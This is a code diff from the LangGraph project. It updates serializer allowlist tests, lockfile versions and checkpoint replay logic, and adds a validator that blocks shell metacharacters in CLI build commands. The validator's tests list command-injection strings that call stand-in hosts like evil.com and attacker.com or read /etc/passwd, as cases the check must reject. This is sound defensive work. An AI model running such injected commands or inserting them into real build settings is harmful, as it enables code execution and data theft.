serde = JsonPlusSerializer(allowed_msgpack_modules=None)
obj = AnotherPydantic(foo="nope")
serde.loads_typed(serde.dumps_typed(obj))
finally:
unregister()
assert {
"kind": "msgpack_blocked",
"module": "tests.test_jsonplus",
"name": "AnotherPydantic",
} in events
def test_msgpack_unregistered_allowed_emits_event() -> None:
events: list[SerdeEvent] = []
unregister = register_serde_event_listener(events.append)
try:
serde = JsonPlusSerializer(allowed_msgpack_modules=True)
obj = AnotherPydantic(foo="ok")
serde.loads_typed(serde.dumps_typed(obj))
finally:
unregister()
assert {
"kind": "msgpack_unregistered_allowed",
"module": "tests.test_jsonplus",
"name": "AnotherPydantic",
} in events
def test_msgpack_strict_allows_safe_types(
caplog: pytest.LogCaptureFixture,
) -> None:
@@ -684,6 +724,36 @@ def test_msgpack_strict_allows_safe_types(
assert result == safe
def test_msgpack_strict_allows_core_langchain_messages(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
msg = HumanMessage(content="hello")
caplog.clear()
result = serde.loads_typed(serde.dumps_typed(msg))
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert isinstance(result, HumanMessage)
assert result == msg
def test_msgpack_strict_allows_langchain_document(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
doc = Document(page_content="hello", metadata={"k": "v"})
caplog.clear()
result = serde.loads_typed(serde.dumps_typed(doc))
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert isinstance(result, Document)
assert result == doc
def test_msgpack_regex_safe_type(caplog: pytest.LogCaptureFixture) -> None:
"""re.compile patterns should deserialize without warnings as a safe type."""
+1 -1
View File
@@ -286,7 +286,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "." }
dependencies = [
{ name = "langchain-core" },
+14 -14
View File
@@ -1555,10 +1555,10 @@ brace-expansion@^1.1.7:
balanced-match "^1.0.0"
concat-map "0.0.1"
brace-expansion@^2.0.1:
version "2.0.1"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
brace-expansion@^2.0.2:
version "2.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
dependencies:
balanced-match "^1.0.0"
@@ -3700,25 +3700,25 @@ mimic-fn@^2.1.0:
integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
minimatch@^10.2.1:
version "10.2.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.2.tgz#361603ee323cfb83496fea2ae17cc44ea4e1f99f"
integrity sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==
version "10.2.4"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
dependencies:
brace-expansion "^5.0.2"
minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2:
version "3.1.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
version "3.1.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
dependencies:
brace-expansion "^1.1.7"
minimatch@^9.0.4, minimatch@^9.0.5:
version "9.0.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
version "9.0.9"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e"
integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==
dependencies:
brace-expansion "^2.0.1"
brace-expansion "^2.0.2"
minimist@^1.2.0, minimist@^1.2.5, minimist@^1.2.6:
version "1.2.8"
+11 -11
View File
@@ -434,7 +434,7 @@ brace-expansion@^1.1.7:
balanced-match "^1.0.0"
concat-map "0.0.1"
brace-expansion@^2.0.1:
brace-expansion@^2.0.2:
version "2.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
@@ -1380,25 +1380,25 @@ math-intrinsics@^1.1.0:
integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
minimatch@^10.2.1:
version "10.2.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.2.tgz#361603ee323cfb83496fea2ae17cc44ea4e1f99f"
integrity sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==
version "10.2.4"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
dependencies:
brace-expansion "^5.0.2"
minimatch@^3.1.2:
version "3.1.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
version "3.1.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
dependencies:
brace-expansion "^1.1.7"
minimatch@^9.0.5:
version "9.0.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
version "9.0.9"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e"
integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==
dependencies:
brace-expansion "^2.0.1"
brace-expansion "^2.0.2"
minimist@^1.2.0, minimist@^1.2.6:
version "1.2.8"
+1 -1
View File
@@ -1 +1 @@
__version__ = "0.4.13"
__version__ = "0.4.14"
+14
View File
@@ -409,6 +409,18 @@ def build(
install_command: str | None,
build_command: str | None,
):
if install_command and langgraph_cli.config.has_disallowed_build_command_content(
install_command
):
raise click.UsageError(
"install_command contains disallowed characters or patterns."
)
if build_command and langgraph_cli.config.has_disallowed_build_command_content(
build_command
):
raise click.UsageError(
"build_command contains disallowed characters or patterns."
)
with Runner() as runner, Progress(message="Pulling...") as set:
if shutil.which("docker") is None:
raise click.UsageError("Docker not installed") from None
@@ -765,6 +777,8 @@ def dev(
allow_blocking=allow_blocking,
tunnel=tunnel,
server_level=server_log_level,
checkpointer=config_json.get("checkpointer"),
disable_persistence=config_json.get("disable_persistence", False),
)
+30
View File
@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
MIN_NODE_VERSION = "20"
DEFAULT_NODE_VERSION = "20"
DISALLOWED_BUILD_COMMAND_CHARS = [
'"',
"`",
"\\",
"\n",
"\r",
"\0",
"\t",
"|",
";",
"$",
">",
"<",
]
# Regex pattern matching a single "&" that is NOT part of "&&".
# This blocks background execution (cmd &) while allowing command
# chaining (cmd1 && cmd2) which is common in build commands.
_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
def has_disallowed_build_command_content(command: str) -> bool:
"""Check if a command string contains disallowed characters or patterns."""
if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
return True
if _SINGLE_AMPERSAND_RE.search(command):
return True
return False
MIN_PYTHON_VERSION = "3.11"
DEFAULT_PYTHON_VERSION = "3.11"
+47
View File
@@ -14,6 +14,7 @@ from langgraph_cli.config import (
config_to_compose,
config_to_docker,
docker_tag,
has_disallowed_build_command_content,
validate_config,
validate_config_file,
)
@@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version():
# Check that the compose file includes the correct FROM line with api_version
assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
class TestHasDisallowedBuildCommandContent:
"""Tests for has_disallowed_build_command_content."""
@pytest.mark.parametrize(
"char",
['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
)
def test_disallowed_chars_rejected(self, char: str) -> None:
assert has_disallowed_build_command_content(f"npm install{char}some-package")
@pytest.mark.parametrize(
"cmd",
[
"pip install foo | curl attacker.com",
"npm install; curl evil.com",
"pip install $(whoami)",
"pip install ${IFS}evil",
"curl evil.com & disown",
"npm install & curl evil.com",
"pip install > /dev/null",
"cat < /etc/passwd",
],
)
def test_injection_patterns_rejected(self, cmd: str) -> None:
assert has_disallowed_build_command_content(cmd)
def test_single_ampersand_rejected(self) -> None:
assert has_disallowed_build_command_content("npm install & curl evil.com")
def test_double_ampersand_allowed(self) -> None:
assert not has_disallowed_build_command_content("npm install && npm run build")
@pytest.mark.parametrize(
"cmd",
[
"npm install",
"pnpm install --frozen-lockfile",
"next build && next export",
"npm ci && npm run build",
"pip install -e '.[dev]'",
],
)
def test_valid_commands_allowed(self, cmd: str) -> None:
assert not has_disallowed_build_command_content(cmd)
+449 -378
View File
File diff suppressed because it is too large Load Diff
@@ -41,6 +41,8 @@ CONFIG_KEY_CACHE = sys.intern("__pregel_cache")
# holds a `BaseCache` made available to subgraphs
CONFIG_KEY_RESUMING = sys.intern("__pregel_resuming")
# holds a boolean indicating if subgraphs should resume from a previous checkpoint
CONFIG_KEY_REPLAYING = sys.intern("__pregel_replaying")
# signals to subgraphs that the parent is replaying from an earlier checkpoint
CONFIG_KEY_TASK_ID = sys.intern("__pregel_task_id")
# holds the task ID for the current task
CONFIG_KEY_THREAD_ID = sys.intern("thread_id")
@@ -98,6 +100,7 @@ RESERVED = {
CONFIG_KEY_STREAM,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_REPLAYING,
CONFIG_KEY_TASK_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_ID,
+146 -30
View File
@@ -42,6 +42,7 @@ from langgraph._internal._constants import (
CONFIG_KEY_CHECKPOINT_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_NS,
CONFIG_KEY_REPLAYING,
CONFIG_KEY_RESUME_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_SCRATCHPAD,
@@ -152,7 +153,7 @@ class PregelLoop:
input_keys: str | Sequence[str]
output_keys: str | Sequence[str]
stream_keys: str | Sequence[str]
skip_done_tasks: bool
is_replaying: bool
is_nested: bool
manager: None | AsyncParentRunManager | ParentRunManager
interrupt_after: All | Sequence[str]
@@ -244,7 +245,9 @@ class PregelLoop:
self.interrupt_before = interrupt_before
self.manager = manager
self.is_nested = CONFIG_KEY_TASK_ID in self.config.get(CONF, {})
self.skip_done_tasks = CONFIG_KEY_CHECKPOINT_ID not in config[CONF]
self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF] or config[
CONF
].get(CONFIG_KEY_REPLAYING, False)
self._migrate_checkpoint = migrate_checkpoint
self.trigger_to_nodes = trigger_to_nodes
self.retry_policy = retry_policy
@@ -451,7 +454,7 @@ class PregelLoop:
# save the new task
self.tasks[pushed.id] = pushed
# match any pending writes to the new task
if self.skip_done_tasks:
if not self.is_replaying:
self._match_writes({pushed.id: pushed})
# return the new task, to be started if not run before
return pushed
@@ -515,7 +518,7 @@ class PregelLoop:
return False
# if there are pending writes from a previous loop, apply them
if self.skip_done_tasks and self.checkpoint_pending_writes:
if not self.is_replaying and self.checkpoint_pending_writes:
self._match_writes(self.tasks)
# before execution, check if we should interrupt
@@ -557,8 +560,8 @@ class PregelLoop:
)
# clear pending writes
self.checkpoint_pending_writes.clear()
# "not skip_done_tasks" only applies to first tick after resuming
self.skip_done_tasks = True
# only replay (re-execute) done tasks on the first tick
self.is_replaying = False
# save checkpoint
self._put_checkpoint({"source": "loop"})
# after execution, check if we should interrupt
@@ -567,8 +570,9 @@ class PregelLoop:
):
self.status = "interrupt_after"
raise GraphInterrupt()
# unset resuming flag
# unset resuming/replaying flags
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
self.config[CONF].pop(CONFIG_KEY_REPLAYING, None)
def match_cached_writes(self) -> Sequence[PregelExecutableTask]:
raise NotImplementedError
@@ -618,22 +622,42 @@ class PregelLoop:
def _first(
self, *, input_keys: str | Sequence[str], updated_channels: set[str] | None
) -> set[str] | None:
# resuming from previous checkpoint requires
# - finding a previous checkpoint
# - receiving None input (outer graph) or RESUMING flag (subgraph)
# Resuming from a previous checkpoint requires two things:
# 1. A prior checkpoint exists (channel_versions is non-empty)
# 2. The input signals continuation (not a fresh run with new input)
configurable = self.config.get(CONF, {})
is_resuming = bool(self.checkpoint["channel_versions"]) and bool(
configurable.get(
CONFIG_KEY_RESUMING,
self.input is None
or isinstance(self.input, Command)
or (
not self.is_nested
and self.config.get("metadata", {}).get("run_id")
== self.checkpoint_metadata.get("run_id", MISSING)
),
has_prior_checkpoint = bool(self.checkpoint["channel_versions"])
# For subgraphs, the parent explicitly sets CONFIG_KEY_RESUMING.
# For the outer graph, we infer from the input:
# - None input: resume after interrupt (invoke(None, config))
# - Command input: any Command operates on existing state
# - Same run_id: re-entry into an ongoing run (e.g. stream reconnect)
input_signals_resume = (
self.input is None
or isinstance(self.input, Command)
or (
not self.is_nested
and self.config.get("metadata", {}).get("run_id")
== self.checkpoint_metadata.get("run_id", MISSING)
)
)
is_resuming = has_prior_checkpoint and bool(
configurable.get(CONFIG_KEY_RESUMING, input_signals_resume)
)
# When replaying from a specific checkpoint, drop cached RESUME
# writes so that interrupt() calls re-fire instead of returning
# stale values. But if a resume value is being provided (e.g.
# Command(resume=...) or CONFIG_KEY_RESUMING), keep them —
# multi-interrupt scenarios need previously resolved values preserved.
if self.is_replaying:
is_resume_with_value = (
isinstance(self.input, Command) and self.input.resume is not None
) or configurable.get(CONFIG_KEY_RESUMING, False)
if not is_resume_with_value:
self.checkpoint_pending_writes = [
w for w in self.checkpoint_pending_writes if w[1] != RESUME
]
# map command to writes
if isinstance(self.input, Command):
@@ -723,10 +747,17 @@ class PregelLoop:
self._put_checkpoint({"source": "input"})
elif CONFIG_KEY_RESUMING not in configurable:
raise EmptyInputError(f"Received no input for {input_keys}")
# update config
# Propagate resuming and replaying flags to subgraphs.
# When replaying, don't tell subgraphs to resume — they should
# re-apply input so that triggers fire naturally.
if not self.is_nested:
self.config = patch_configurable(
self.config, {CONFIG_KEY_RESUMING: is_resuming}
self.config,
{
CONFIG_KEY_RESUMING: is_resuming
and not self.is_replaying,
CONFIG_KEY_REPLAYING: self.is_replaying,
},
)
# set flag
self.status = "pending"
@@ -1078,13 +1109,64 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
},
)
def _get_checkpoint_before_invocation(self) -> RunnableConfig | None:
"""Find the config for the subgraph checkpoint from just before a
previous invocation.
When a parent graph replays from an earlier checkpoint, it re-invokes
the subgraph with the same input. Instead of loading the subgraph's
latest checkpoint (which may be from a later parent step), we find the
state the subgraph was in *before* the original invocation so that
`_first()` can re-apply the input naturally no trigger hacks needed.
We find the `source="input"` checkpoint that was created under the
matching parent checkpoint, then return the config for its parent
(the pre-input state). The caller uses this config with `get_tuple()`
to load the actual checkpoint.
Returns None to start fresh if no matching checkpoint exists or if
this is the subgraph's first invocation."""
checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
parent_checkpoint_id = checkpoint_map.get(parent_ns)
if not parent_checkpoint_id or not self.checkpointer:
return None
for saved in self.checkpointer.list(
self.checkpoint_config,
filter={
"source": "input",
"parents": {parent_ns: parent_checkpoint_id},
},
limit=1,
):
return saved.parent_config # None for first invocation → start fresh
return None # no matching checkpoint (e.g. fork) — start fresh
# context manager
def __enter__(self) -> Self:
if self.checkpointer:
saved = self.checkpointer.get_tuple(self.checkpoint_config)
else:
is_subgraph_replay = self.config[CONF].get(
CONFIG_KEY_REPLAYING
) and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
if not self.checkpointer:
saved = None
elif is_subgraph_replay:
# Subgraph replay: load the pre-input checkpoint so _first()
# can re-apply input naturally — triggers fire without hacks.
pre_input_config = self._get_checkpoint_before_invocation()
saved = (
self.checkpointer.get_tuple(pre_input_config)
if pre_input_config
else None
)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. If a specific checkpoint_id is in the config,
# fetch that exact checkpoint; otherwise fetch the latest one.
# Returns None on first invocation (no checkpoints exist yet).
saved = self.checkpointer.get_tuple(self.checkpoint_config)
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1109,7 +1191,6 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
if saved.pending_writes is not None
else []
)
self.submit = self.stack.enter_context(BackgroundExecutor(self.config))
self.channels, self.managed = channels_from_checkpoint(
self.specs, self.checkpoint
@@ -1257,13 +1338,49 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
},
)
async def _aget_checkpoint_before_invocation(self) -> RunnableConfig | None:
"""Async version of `_get_checkpoint_before_invocation`."""
checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
parent_checkpoint_id = checkpoint_map.get(parent_ns)
if not parent_checkpoint_id or not self.checkpointer:
return None
async for saved in self.checkpointer.alist(
self.checkpoint_config,
filter={
"source": "input",
"parents": {parent_ns: parent_checkpoint_id},
},
limit=1,
):
return saved.parent_config # None for first invocation → start fresh
return None # no matching checkpoint (e.g. fork) — start fresh
# context manager
async def __aenter__(self) -> Self:
if self.checkpointer:
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
else:
is_subgraph_replay = self.config[CONF].get(
CONFIG_KEY_REPLAYING
) and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
if not self.checkpointer:
saved = None
elif is_subgraph_replay:
# Subgraph replay: load the pre-input checkpoint so _first()
# can re-apply input naturally — triggers fire without hacks.
pre_input_config = await self._aget_checkpoint_before_invocation()
saved = (
await self.checkpointer.aget_tuple(pre_input_config)
if pre_input_config
else None
)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. If a specific checkpoint_id is in the config,
# fetch that exact checkpoint; otherwise fetch the latest one.
# Returns None on first invocation (no checkpoints exist yet).
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1288,7 +1405,6 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
if saved.pending_writes is not None
else []
)
self.submit = await self.stack.enter_async_context(
AsyncBackgroundExecutor(self.config)
)
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph"
version = "1.0.10rc1"
version = "1.0.10"
description = "Building stateful, multi-actor applications with LLMs"
authors = []
requires-python = ">=3.10"
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -1367,7 +1367,7 @@ wheels = [
[[package]]
name = "langgraph"
version = "1.0.10rc1"
version = "1.0.10"
source = { editable = "." }
dependencies = [
{ name = "langchain-core" },
@@ -1548,7 +1548,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
+2 -2
View File
@@ -268,7 +268,7 @@ wheels = [
[[package]]
name = "langgraph"
version = "1.0.10rc1"
version = "1.0.10"
source = { editable = "../langgraph" }
dependencies = [
{ name = "langchain-core" },
@@ -352,7 +352,7 @@ test = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
+2 -2
View File
@@ -265,7 +265,7 @@ wheels = [
[[package]]
name = "langgraph"
version = "1.0.10rc1"
version = "1.0.10"
source = { editable = "../langgraph" }
dependencies = [
{ name = "langchain-core" },
@@ -349,7 +349,7 @@ test = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },